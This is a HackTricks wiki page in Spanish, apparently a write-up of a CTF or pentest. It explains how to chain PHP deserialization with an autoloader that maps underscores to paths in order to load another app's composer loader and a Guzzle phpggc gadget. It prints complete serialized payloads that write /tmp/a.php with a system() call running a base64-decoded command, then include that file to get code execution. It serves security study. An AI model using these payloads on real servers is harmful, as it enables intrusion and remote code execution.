hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

7.9 KiB

PHP - Deserialización + Autoload de Clases

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Primero, deberías revisar qué son las Clases de Autocarga.

Deserialización en PHP + spl_autoload_register + LFI/Gadget

Nos encontramos en una situación donde descubrimos una deserialización en PHP en una webapp sin ninguna librería vulnerable a gadgets dentro de phpggc. Sin embargo, en el mismo contenedor había una webapp de composer diferente con librerías vulnerables. Por lo tanto, el objetivo era cargar el cargador de composer de la otra webapp y abusar de él para cargar un gadget que explotará esa librería con un gadget de la webapp vulnerable a la deserialización.

Pasos:

  • Has encontrado una deserialización y no hay ningún gadget en el código de la app actual
  • Puedes abusar de una función spl_autoload_register como la siguiente para cargar cualquier archivo local con extensión .php
  • Para ello utilizas una deserialización donde el nombre de la clase va a estar dentro de $name. No puedes usar "/" o "." en un nombre de clase en un objeto serializado, pero el código está reemplazando los guiones bajos ("_") por barras ("/"). Así que un nombre de clase como tmp_passwd se transformará en /tmp/passwd.php y el código intentará cargarlo.
    Un ejemplo de gadget sería: O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

{% hint style="success" %} Si tienes una carga de archivo y puedes subir un archivo con extensión .php, podrías abusar de esta funcionalidad directamente y obtener RCE de inmediato. {% endhint %}

En mi caso, no tenía algo así, pero había dentro del mismo contenedor otra página web de composer con una librería vulnerable a un gadget de phpggc.

  • Para cargar esta otra librería, primero necesitas cargar el cargador de composer de esa otra aplicación web (porque el de la aplicación actual no accederá a las librerías de la otra.) Conociendo la ruta de la aplicación, puedes lograr esto muy fácilmente con: O:28:"www_frontend_vendor_autoload":0:{} (En mi caso, el cargador de composer estaba en /www/frontend/vendor/autoload.php)
  • Ahora, puedes cargar el cargador de composer de la otra aplicación, así que es momento de generar el payload de phpgcc para usar. En mi caso, utilicé Guzzle/FW1, que me permitió escribir cualquier archivo dentro del sistema de archivos.
  • NOTA: El gadget generado no funcionaba, para que funcionara modifiqué ese payload chain.php de phpggc y cambié todos los atributos de las clases de privados a públicos. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
  • Ahora tenemos la manera de cargar el cargador de composer de la otra aplicación y tenemos un payload de phpggc que funciona, pero necesitamos hacer esto en la MISMA SOLICITUD para que el cargador esté cargado cuando se use el gadget. Para eso, envié un array serializado con ambos objetos como:
  • Puedes ver primero el cargador siendo cargado y luego el payload

{% code overflow="wrap" %}

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

{% endcode %}

  • Ahora, podemos crear y escribir un archivo, sin embargo, el usuario no podía escribir en ninguna carpeta dentro del servidor web. Entonces, como puedes ver en el payload, PHP llama a system con algo de base64 que se crea en /tmp/a.php. Luego, podemos reutilizar el primer tipo de payload que usamos como LFI para cargar el cargador de composer de la otra webapp para cargar el archivo generado /tmp/a.php. Solo agrégalo al gadget de deserialización:

{% code overflow="wrap" %}

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Resumen del payload

  • Cargar el autoload de composer de otra aplicación web en el mismo contenedor
  • Cargar un gadget de phpggc para abusar de una biblioteca de la otra aplicación web (la aplicación web inicial vulnerable a la deserialización no tenía ningún gadget en sus bibliotecas)
  • El gadget creará un archivo con un payload PHP en él en /tmp/a.php con comandos maliciosos (el usuario de la aplicación web no puede escribir en ninguna carpeta de ninguna aplicación web)
  • La parte final de nuestro payload usará cargar el archivo php generado que ejecutará comandos

Necesité llamar a esta deserialización dos veces. En mis pruebas, la primera vez se creó el archivo /tmp/a.php pero no se cargó, y la segunda vez se cargó correctamente.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: